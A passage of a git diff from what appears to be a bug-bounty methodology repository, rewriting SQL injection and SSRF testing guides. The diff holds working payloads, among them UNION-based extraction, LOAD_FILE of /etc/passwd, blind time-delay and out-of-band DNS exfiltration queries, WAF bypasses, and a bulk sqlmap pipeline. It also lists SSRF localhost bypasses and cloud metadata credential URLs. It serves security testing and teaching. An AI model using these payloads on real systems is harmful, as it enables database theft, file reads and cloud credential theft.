- 6. Check the params as https://domain.com?= - 7. Send request to file and process it through sqlmap. -``` -## 4. Error generation with untrusted input or special characters : -``` - 1. Submit single quote character ' & look for errors. - 2. Submit SQL specific query. - 3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response. - 4. Submit certain payloads that results in time delay. -``` -# Post-Methods -## 1. Finding total number of columns with order by or group by or having : -``` - Submit a series of ORDER BY clause such as - - ' ORDER BY 1 -- - ' ORDER BY 2 -- - ' ORDER BY 3 -- - - and incrementing specified column index until an error occurs. -``` -## 2. Finding vulnerable columns with union operator : -``` - Submit a series of UNION SELECT payloads. - - ' UNION SELECT NULL -- - ' UNION SELECT NULL, NULL -- - ' UNION SELECT NULL, NULL, NULL -- - - (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.) -``` -* To go for the methods in more detail, go through portswigger site. - - https://portswigger.net/web-security/sql-injection/union-attacks +1. Map every input that could touch the database: URL parameters, POST fields, JSON bodies, headers (User-Agent, Referer, X-Forwarded-For), cookies, login forms, search boxes, sort/filter parameters, and API endpoints. +2. Capture requests in Burp Suite, send them to Scanner, run an active scan, then manually verify with SQL payloads (scanner findings are frequently false positives). +3. Submit a single quote `'` (and `"`, `')`, `%`) and look for SQL error messages or a change in response behavior. +4. Submit SQL-specific query fragments, boolean conditions (`' or 1=1--` vs `' or 1=0--`), and compare responses. +5. Submit time-delay payloads (`sleep`, `WAITFOR DELAY`, `pg_sleep`) for blind cases. +6. Enumerate subdomains, collect URLs with waybackurls/gau, filter likely injectable parameters with `gf sqli`, and run sqlmap in bulk. +7. Hunt hidden parameters with Arjun and re-test them (`https://domain.com?=`). +8. Test second-order SQLi: inject in fields that are stored and later used (profile updates, coupon codes, names) by triggering the consuming feature afterwards. +9. If a WAF blocks input, move through the Bypass Techniques section before giving up. +10. Automate/confirm with SQLMAP, using tamper scripts when a filter is present. -## 3. Extracting basic information like database(), version(), user(), UUID() with concat() or group_concat() +## Test Cases & Examples -### 1. Database version -``` - Oracle SELECT banner FROM v$version - SELECT version FROM v$instance - - Microsoft SELECT @@version - - PostgreSQL SELECT version() - - MySQL SELECT @@version +### Detection probes + +```sql +' +" +'); +1' and '1'='1 +1' and '1'='2 +' or 1=1-- +admin' -- +" or ""=" +'; WAITFOR DELAY '0:0:5'-- +'; SELECT pg_sleep(5)-- ``` -### 2. Database contents + +### Error generation with untrusted input + +1. Submit single quote character `'` & look for errors. +2. Submit SQL specific query. +3. Submit Boolean conditions such as `or 1=1` and `or 1=0`, and observe the application's response. +4. Submit certain payloads that result in time delay. + +### Finding the number of columns (ORDER BY / GROUP BY / HAVING) + +```sql +' ORDER BY 1 -- +' ORDER BY 2 -- +' ORDER BY 3 -- ``` - Oracle SELECT * FROM all_tables - SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' - - Microsoft SELECT * FROM information_schema.tables - SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' - - PostgreSQL SELECT * FROM information_schema.tables - SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' - - MySQL SELECT * FROM information_schema.tables - SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' + +Increment the column index until an error occurs — the last working index is the column count. + +### Finding vulnerable columns with UNION + +```sql +' UNION SELECT NULL -- +' UNION SELECT NULL, NULL -- +' UNION SELECT NULL, NULL, NULL -- ``` -### 3. Shows version, user and database name + +Using NULL maximizes the probability that the payload succeeds, because NULL can be converted to every commonly used data type. (Details: https://portswigger.net/web-security/sql-injection/union-attacks) + +### Extracting basic database information + +Database version: + +```sql +-- Oracle +SELECT banner FROM v$version +SELECT version FROM v$instance +-- Microsoft +SELECT @@version +-- PostgreSQL +SELECT version() +-- MySQL +SELECT @@version ``` - ' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database()) + +Database contents: + +```sql +-- Oracle +SELECT * FROM all_tables +SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' +-- Microsoft / PostgreSQL / MySQL +SELECT * FROM information_schema.tables +SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ``` -### 4. Using group_concat() function, used to concat all the rows of the returned results. -``` - ' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()– + +Version, user and database name in one shot: + +```sql +' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database()) ``` -## 4. Accessing system files with load_file(). and advance exploitation afterwards : + +Using `group_concat()` to concatenate all returned rows: + +```sql +' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()-- ``` - ' UNION ALL SELECT LOAD_FILE ('/ etc / passwd') + +### Reading system files + +```sql +' UNION ALL SELECT LOAD_FILE('/etc/passwd') ``` -## 5. Bypassing WAF : -### 1. Using Null byte before SQL query. +(Requires FILE privilege, absolute path, and a readable output column; advanced exploitation can continue via `INTO OUTFILE` / UDF where permitted.) + +### Time delays (blind confirmation) + +```sql +-- Oracle +SELECT dbms_pipe.receive_message(('a'),10) FROM dual +-- Microsoft +WAITFOR DELAY '0:0:10' +-- PostgreSQL +SELECT pg_sleep(10) +-- MySQL +SELECT sleep(10) ``` - %00' UNION SELECT password FROM Users WHERE username-'xyz'-- + +### Conditional / inferential time delays (blind data extraction) + +```sql +-- Oracle +SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual +-- Microsoft +IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' +-- PostgreSQL +SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END +-- MySQL +SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') ``` -### 2. Using SQL inline comment sequence. + +Example: `' AND (SELECT SUBSTRING(version(),1,1))='5' -- ` style true/false questions against `information_schema`. + +### Out-of-band (OOB) exfiltration + +```sql +-- Microsoft (DNS call-out) +'; DECLARE @q varchar(99); SET @q = '\\\test'; EXEC master..xp_dirtree @q-- +-- Oracle (DNS call-out) +'; SELECT UTL_INADDR.get_host_address('') FROM dual-- ``` - '/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'-- + +Watch Collaborator/interactsh for DNS lookups when the response is blind. + +## Bypass Techniques + +### 1. Null byte before the SQL query + +```sql +%00' UNION SELECT password FROM Users WHERE username-'xyz'-- ``` -### 3. URL encoding -``` - for example : - / URL encoded to %2f - * URL encoded to %2a - Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work. +### 2. SQL inline comment sequences to break up keywords + +```sql +'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'-- ``` -### 4. Changing Cases (uppercase/lowercase) -* For more step wise detailed methods, go through the link below. - - https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF -### 5. Use SQLMAP tamper scripts. It helps bypass WAF/IDS/IPS. -* 1. Use Atlas. It helps suggesting tamper scripts for SQLMAP. - - https://github.com/m4ll0k/Atlas -* 2. JHaddix post on SQLMAP tamper scripts. - - https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423 - -## 6. Time Delays : + +### 3. URL encoding (and double / hex encoding) + +```bash +# examples +/ -> %2f +* -> %2a +# double-encode or hex-encode if single encoding fails ``` - Oracle dbms_pipe.receive_message(('a'),10) - - Microsoft WAITFOR DELAY '0:0:10' - - PostgreSQL SELECT pg_sleep(10) - - MySQL SELECT sleep(10) -``` -## 7. Conditional Delays : + +### 4. Case mangling (`UnIoN SeLeCt`) to defeat naive signature matching + +### 5. Alternative syntax for the same logic + +- Comments: `--`, `-- -`, `#`, `/* */` +- Whitespace alternatives: `%09 %0a %0b %0c %a0 /**/` +- Equivalent operators/functions: `||`/`OR`, `LIKE`/`REGEXP`/`RLIKE`, `=`/`<>`/`!=`, `substring`/`substr`/`mid`, `concat`/`concat_ws`/`group_concat`, hex/octal string encoding. + +### 6. SQLMAP tamper scripts (WAF/IDS/IPS) + +- Atlas (suggests tamper scripts): https://github.com/m4ll0k/Atlas +- Jason Haddix on tamper scripts: https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423 +- OWASP WAF bypass reference: https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF + +## Tools & Resources + +- PortSwigger SQL injection cheat sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet +- PortSwigger SQL injection lab track: https://portswigger.net/web-security/sql-injection +- Sublist3r / Findomain / Assetfinder — subdomain enumeration +- HTTPX — https://github.com/encode/httpx +- Waybackurls — https://github.com/tomnomnom/waybackurls +- Gau — https://github.com/lc/gau +- GF + patterns — https://github.com/tomnomnom/gf , https://github.com/1ndianl33t/Gf-Patterns +- Arjun (hidden parameters) — https://github.com/s0md3v/Arjun +- Hakrawler — https://github.com/hakluke/hakrawler +- SQLMAP + `--tamper`, `--dbms`, `--technique`, `--threads` + +Bulk pipeline example: + +```bash +sublist3r -d target | tee -a domains # findomain/assetfinder also work +cat domains | httpx | tee -a alive +cat alive | waybackurls | tee -a urls +gf sqli urls >> sqli +sqlmap -m sqli --dbs --batch # add tamper scripts as needed ``` - Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual - - Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' - - PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END - - MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') -``` -# Resources and tools that will help gain an upper hand on finding bugs : -* Portswigger SQL Injection cheat sheet - https://portswigger.net/web-security/sql-injection/cheat-sheet -* HTTPX - https://github.com/encode/httpx -* GF patterns - https://github.com/1ndianl33t/Gf-Patterns -* GF (Tomnomnom)- https://github.com/tomnomnom/gf -* We can also use gau with waybackurls to fetch all urls. -* Waybackurls - https://github.com/tomnomnom/waybackurls -* Gau - https://github.com/lc/gau -* Arjun - https://github.com/s0md3v/Arjun -* Hakcrawler - https://github.com/hakluke/hakrawler - - -### Author : - -* [@xhan1x](https://twitter.com/xhan1x) + +Hidden-parameter pipeline: enumerate subdomains → collect URLs (hakrawler/waybackurls/gau) → `arjun --urls urls.txt` → test `https://domain.com?=` → save requests to file → sqlmap `-r`. + +Source thread for the recon pipeline: https://twitter.com/El3ctr0Byt3s/status/1302706241240731649 + +## Report Tips + +- Frame impact concretely: rows of user/PII/payment records extracted, admin auth bypass, or files read — not just "parameter is injectable". +- For blind/time-based findings, include proof that correlates with your input (e.g., `pg_sleep(10)` timing or OOB DNS hit) since nothing renders in the response. +- Note if the same injection point is reachable unauthenticated and whether stacked queries/`load_file`/OOB worked — these escalate severity. + +--- +*Author: [@xhan1x](https://twitter.com/xhan1x)* diff --git a/SSRF/SSRF-old.md b/SSRF/SSRF-old.md deleted file mode 100644 index 1d714d4d..00000000 --- a/SSRF/SSRF-old.md +++ /dev/null @@ -1,111 +0,0 @@ -# SSRF ( Server-Side-Request-Forgery) -* What's SSRF ?? - * SSRF is a type of exploit where an attacker abuses the functionality of a server causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessible to the attacker. - -## Where to look for ?? - -1. If you got Open Redirect try escalating it to SSRF. - -2. gf SSRF to grep parameters may vulnerable to SSRF. - -3. SSRF's are more in API's so crawl the whole web app with burp proxy turned on and search for keywords like., eg : -``` -?url= -?uri= -?req= -etc..... -``` -4. Sign up with an Email like blabla.collaborator.net. If u receive HTTP req. in collaborator then its SSRF. But if there's no impact Don't Report it :) DNS and SMTP req. Doesn't matters. - -## AWS Metadata -Most of the sites use AWS nowadays... - -* AWS localhost is 169.254.169.254 so don't use 127.0.0.1 there! - -* If you found an SSRF vulnerability that runs on EC2, try requesting : -``` -http://169.254.169.254/latest/meta-data/ -http://169.254.169.254/latest/user-data/ -http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE -http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ -``` -* Source: https://twitter.com/ADITYASHENDE17/status/1305051512335298562 - -## Escalation - -* SSRF can be Escalated to RCE :) [Impact High] -* ``.collaborator.net (thehackerish has a good video in it :) -* If there's no impact! on your SSRF rather than a redirect try to escalate it to XSS. - -## Resources 💯 -### Youtube -* https://www.youtube.com/watch?v=U0bPPw6uPgY&t=1s -* https://www.youtube.com/watch?v=324cZic6asE -* https://www.youtube.com/watch?v=o-tL9ULF0KI -* https://www.youtube.com/watch?v=324cZic6asE&t=751s -* https://youtu.be/m4BxIf9PUx0 -* https://youtu.be/apzJiaQ6a3k -* [A New Era of SSRF](https://www.youtube.com/watch?v=R9pJ2YCXoJQ) by [Orange Tsai](https://blog.orange.tw/) - -### Hackerone Reports -* https://hackerone.com/hacktivity?order_field=popular&filter=type%3Apublic&querystring=SSRF -* https://hackerone.com/reports/737161 -* https://hackerone.com/reports/816848 -* https://hackerone.com/reports/398799 -* https://hackerone.com/reports/382048 -* https://hackerone.com/reports/406387 -* https://hackerone.com/reports/736867 -* https://hackerone.com/reports/517461 -* https://hackerone.com/reports/508459 -* https://hackerone.com/reports/738553 -* https://hackerone.com/reports/514224 -* https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF -* https://hackerone.com/reports/341876 -* https://hackerone.com/reports/793704 -* https://hackerone.com/reports/386292 -* https://hackerone.com/reports/326040 -* https://hackerone.com/reports/310036 -* https://hackerone.com/reports/643622 -* https://hackerone.com/reports/885975 -* https://hackerone.com/reports/207477 -* https://hackerone.com/reports/514224 - -### Blogs -* https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 -* https://medium.com/@kapilvermarbl/ssrf-server-side-request-forgery-5131ffd61c3c -* https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326 -* https://medium.com/@chawdamrunal/what-is-server-side-request-forgery-ssrf-7cd0ead0d95f -* https://medium.com/swlh/ssrf-in-the-wild-e2c598900434 -* https://medium.com/@briskinfosec/ssrf-server-side-request-forgery-ae44ec737cb8 -* https://medium.com/@GAYA3_R/vulnerability-server-side-request-forgery-ssrf-9fe5428184c1 -* https://medium.com/@gupta.bless/exploiting-ssrf-for-admin-access-31c30457cc44 -* https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-f62235a2c151 -* https://medium.com/@dlpadmavathi.us/ssrf-attack-real-example-a7279256abee -* https://blog.securityinnovation.com/the-many-faces-of-ssrf -* https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/ -* http://www.techpna.com/uptzh/blind-ssrf-medium.html -* https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90 -* http://institutopaideia.com.br/journal/blind-ssrf-medium-cfa769 -* https://www.reddit.com/r/bugbounty/comments/cux2zs/ssrf_in_the_wild_the_startup_medium/ -* https://www.sonrn.com.br/blog/5a44cc-blind-ssrf-medium -* https://ssrf-bypass-medium.thickkare.pw/ -* https://hackerone.com/reports/326040 -* https://www.zerocopter.com/vulnerabilities-price-list-printable -* https://medium.com/swlh/intro-to-ssrf-beb35857771f -* https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a -* https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739 -* https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35 -* https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-2-a085ec4332c0 -* https://medium.com/bugbountywriteup/tagged/ssrf -* https://medium.com/seconset/all-about-ssrf-524f41ab96df -* https://blog.cobalt.io/from-ssrf-to-port-scanner-3e8ef5921fbf -* https://portswigger.net/web-security/ssrf -* https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery - -### Github Repos -* https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery -* https://github.com/jdonsec/AllThingsSSRF - -### Author: -* [@0xCyberPirate](https://twitter.com/0xCyberPirate) -* [0xrtt](https://twitter.com/0xrtt) diff --git a/SSRF/SSRF.md b/SSRF/SSRF.md index a82fb40a..02403600 100644 --- a/SSRF/SSRF.md +++ b/SSRF/SSRF.md @@ -1,136 +1,63 @@ -## What is SSRF? +# Server-Side Request Forgery (SSRF) -In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL, which the code running on the server will read or submit data. By carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP-enabled databases or perform POST requests towards internal services that are not intended to be exposed. +In a Server-Side Request Forgery (SSRF) attack, the attacker abuses server functionality that fetches URLs — reading or updating internal resources by supplying or modifying the URL the server-side code will request. By carefully selecting target URLs, an attacker can read server configuration such as cloud metadata, connect to internal services (HTTP-enabled databases, admin panels), or force POST requests towards internal services never intended to be exposed. Impact is typically high to critical: sensitive data exposure, unauthenticated internal requests, port scanning/XSPA, protocol smuggling, and escalation to RCE. -The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (like path traversal, etc.). +For SSRF where the response never returns to you (only out-of-band interaction is visible), see [Blind SSRF](./Blind_SSRF.md). -When the manipulated request goes to the server, the server-side code picks up the manipulated URL and tries to read data to the manipulated URL. By selecting target URLs, the attacker may be able to read data from services that are not directly exposed on the internet: +## Hunting Checklist -- **Cloud server meta-data** — Cloud services such as AWS provide a REST interface on http://169.254.169.254/ where important configuration and sometimes even authentication keys can be extracted -- **Database HTTP interfaces** — NoSQL database such as MongoDB provide REST interfaces on HTTP ports. If the database is expected to only be available to internally, authentication may be disabled and the attacker can extract data internal REST interfaces -- **Files** — The attacker may be able to read files using file:// URIs. The attacker may also use this functionality to import untrusted data into code that expects to only read data from trusted sources, and as such circumvent input validation. +1. Find functionality that *fetches* on the server's behalf: URL importers, webhooks, image/PDF/document fetchers, RSS/feed integrations, preview generators, link unfurling, file converters, "load from URL" features, SSO/OAuth callbacks, proxy/forward params. +2. Crawl the whole web app (and APIs) with Burp proxy on and search for URL-ish parameter keywords (`?url=`, `?uri=`, `?req=`, ...). SSRFs are disproportionately common in APIs. +3. Run collected URLs through `gf ssrf` to grep parameters that may be vulnerable. +4. If you found an Open Redirect, try escalating it to SSRF (redirect the server itself). +5. Always verify the request originates from the **backend server**, not your browser — confirm via Collaborator/interactsh and by comparing server-side vs client-side behavior (key point: you are making the request *on behalf of the public server*, not from the browser). +6. Test loopback variants: both `http://localhost/xyz/` and `http://127.0.0.1/xyz` — some filters check only one. +7. Test cloud metadata endpoints (AWS/GCP/Azure/DigitalOcean/etc. below); on AWS the metadata host is `169.254.169.254`, so `127.0.0.1` alone won't reach it — use the link-local address. +8. If responses are filtered/blind, sign up with an email like `blabla.collaborator.net`: an **HTTP** interaction proves blind SSRF. DNS/SMTP-only interactions usually carry no impact — don't report those without one. +9. A server-side firewall may exist — always try to bypass it (see Bypass Techniques). +10. Confirm the fetch is not just a HEAD/canary: try to read actual internal content (`/`, admin paths, metadata). +11. Attempt escalation: RCE, XSS, or internal action execution (see Test Cases — Escalation). -## What is its impact? +## Test Cases & Examples -A malicious actor can retrieve the content of arbitrary files on the system, which leads to sensitive information exposure(passwords, source code, confidential data, etc.). +### Key points when testing -1. Sensitive Data Exposure -2. Unauthenticated Requests -3. Port Scans or Cross Site Port Attack (XSPA) -4. Protocol Smuggling +1. Always make sure you are making the request to the back-end server on behalf of the public server, not from the browser. +2. To fetch data from the server also try `http://localhost/xyz/` along with `http://127.0.0.1/xyz`. +3. The server may have firewall protection — always try to bypass it if possible. +4. Make sure the request is coming from the server, not from your local host. -## **Key Points To Test SSRF Vulnerability :** - -1. Always make sure that you are making request to back end server on the behalf of public server not from the browser. -2. To fetch the data from server also try http://localhost/xyz/ with the http://127.0.0.1/xyz. -3. Server may have the firewall protection always try to bypass the firewall if possible. -4. Make sure that request is coming from server not from your local host. - -## Where to look for : - -```jsx -uri= -logout_redirect_uri= -url= -page= -proxy= -fwd= -forward= -u= -data= -page= -url= -ret= -r2= -img= -u -return -r -URL -next -redirect -redirectBack -AuthState -referer -redir -l -aspxerrorpath -image_path -ActionCodeURL -return_url 0 -link -q -location -ReturnUrl -uri -referrer -returnUrl -forward -file -rb -end_display -urlact -from -goto -path -redirect_url -old -pathlocation -successTarget -returnURL -urlsito -newurl -Url -back -retour -odkazujuca -r_link -cur_url -H_name -ref -topic -resource -returnTo -home 0.2% -node 0.2% -sUrl 0.2% -href 0.2% -linkurl 0.2% -returnto 0.2% -redirecturl 0.2% -SL 0.2% -st 0.2% -errorUrl 0.2% -media 0.2% -destination 0.2% -targeturl 0.2% -return_to 0.2% -cancel_url 0.2% -doc 0.2% -GO 0.2% -ReturnTo 0.2% -anything 0.2% -FileName 0.2% -logoutRedirectURL 0.2% -list 0.2% -startUrl 0.2% -service 0.2% -redirect_to 0.2% -end_url 0.2% -_next 0.2% -noSuchEntryRedirect 0.2% -context 0.2% -returnurl 0.2% -ref_url 0.2% -``` +### Where to look — common URL-bearing parameters -## 1-SSRF attacks against the server itself +``` +uri= url= u= page= proxy= fwd= forward= data= ret= r2= img= return r= redirect +redirectBack AuthState referer redir l= aspxerrorpath image_path ActionCodeURL +return_url link q location ReturnUrl referrer returnUrl forward file rb +end_display urlact from goto path redirect_url old pathlocation successTarget +returnURL urlsito newurl Url back retour odkazujuca r_link cur_url H_name ref +topic resource returnTo home node sUrl href linkurl returnto redirecturl SL st +errorUrl media destination targeturl return_to cancel_url doc GO ReturnTo +FileName logoutRedirectURL list startUrl service redirect_to end_url _next +noSuchEntryRedirect context returnurl ref_url logout_redirect_uri= +``` -In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost. +Example request shape: -Basic Localhost Payloads: +```http +POST /api/fetch-preview HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded +url=http://127.0.0.1/admin ``` + +### 1. SSRF attacks against the server itself + +Induce the application to make an HTTP request back to its own server via the loopback interface — supply a URL with a hostname like `127.0.0.1` or `localhost`. + +Basic localhost payloads: + +```bash http://127.0.0.1:port http://localhost:port https://127.0.0.1:port @@ -141,115 +68,46 @@ http://[0:0:0:0:0:ffff:127.0.0.1] http://0/ http://127.1 http://127.0.1 +file:///etc/passwd ``` -**Steps to reproduce:** - -1-Try to use burpcollab to check if the server fetches data from an internal system(interacting with backend) - -2-Send request to localhost - -3-Try to perform sensitive actions as an unauthenicated users - -```jsx -**Bypasses for Localhost - -1-**Bypass using HTTPS -https://127.0.0.1/ -https://localhost/ - -2-Bypass localhost with [::] -http://[::]:80/ -http://[::]:25/ SMTP -http://[::]:22/ SSH -http://[::]:3128/ Squid -http://0000::1:80/ -http://0000::1:25/ SMTP -http://0000::1:22/ SSH -http://0000::1:3128/ Squid - -3-Bypass localhost with a domain redirection -http://spoofed.burpcollaborator.net -http://localtest.me -http://customer1.app.localhost.my.company.127.0.0.1.nip.io -http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost -http://bugbounty.dod.network redirect to 127.0.0.2 == localhost - -4-Bypass localhost with CIDR -http://127.127.127.127 -http://127.0.1.3 -http://127.0.0.0 - -5-Bypass using a decimal IP location -http://0177.0.0.1/ -http://2130706433/ = http://127.0.0.1 -http://3232235521/ = http://192.168.0.1 -http://3232235777/ = http://192.168.1.1 -http://2852039166/ = http://169.254.169.254 +Steps to reproduce: -6-Bypass using IPv6/IPv4 Address Embedding -http://[0:0:0:0:0:ffff:127.0.0.1] +1. Use Burp Collaborator to check if the server fetches data from an internal system (interacting with the backend). +2. Send the request to localhost. +3. Try to perform sensitive actions as an unauthenticated user (internal endpoints often skip auth). -7-Bypass using malformed urls -localhost:+11211aaa -localhost:00011211aaaa +### 2. Cloud instance metadata -8-Bypass using rare address -http://0/ -http://127.1 -http://127.0.1 +AWS (EC2) — if the target runs on EC2, request: -9-Bypass using URL encoding -http://127.0.0.1/%61dmin -http://127.0.0.1/%2561dmin - -10-Bypass using tricks combination -http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ -urllib2 : 1.1.1.1 -requests + browsers : 2.2.2.2 -urllib : 3.3.3.3 - -11-Bypass using enclosed alphanumerics -http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com - -List: -① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ - -12-Bypass filter_var() php function -0://evil.com:80;http://google.com:80/ - -13-Bypass against a weak parser -http://127.1.1.1:80\@127.2.2.2:80/ -http://127.1.1.1:80\@@127.2.2.2:80/ -http://127.1.1.1:80:\@@127.2.2.2:80/ -http://127.1.1.1:80#\@127.2.2.2:80/ -``` - -## 2-SSRF URL for Cloud Instances - -```jsx -AWS +```bash http://instance-data http://169.254.169.254 +http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] -http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] +http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance +http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access +http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy +http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role http://169.254.169.254/latest/meta-data/ami-id http://169.254.169.254/latest/meta-data/reservation-id http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/meta-data/public-keys/ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key -http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy -http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access http://169.254.169.254/latest/dynamic/instance-identity/document -http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role ``` -```jsx -Google Cloud +Source: https://twitter.com/ADITYASHENDE17/status/1305051512335298562 + +Google Cloud: + +```bash http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ @@ -258,28 +116,32 @@ http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id ``` -```jsx Azure: + +```bash http://169.254.169.254/metadata/v1/maintenance http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` -```jsx -IPv6 Tests: +IPv6 tests: + +```bash http://[::ffff:169.254.169.254] http://[0:0:0:0:0:ffff:169.254.169.254] ``` -```jsx -ECS Task: +ECS Task credentials: + +```bash http://169.254.170.2/v2/credentials/ ``` -```jsx Digital Ocean: + +```bash http://169.254.169.254/metadata/v1.json -http://169.254.169.254/metadata/v1/ +http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname @@ -287,28 +149,235 @@ http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address ``` -```jsx Packetcloud: + +```bash https://metadata.packet.net/userdata ``` -```jsx Oracle Cloud: + +```bash http://169.254.169.254/opc/v1/instance/ ``` -```jsx Alibaba Cloud: + +```bash http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id http://100.100.100.200/latest/user-data ``` -## **Impact:** +### 3. Blind SSRF via email signup -An attacker can 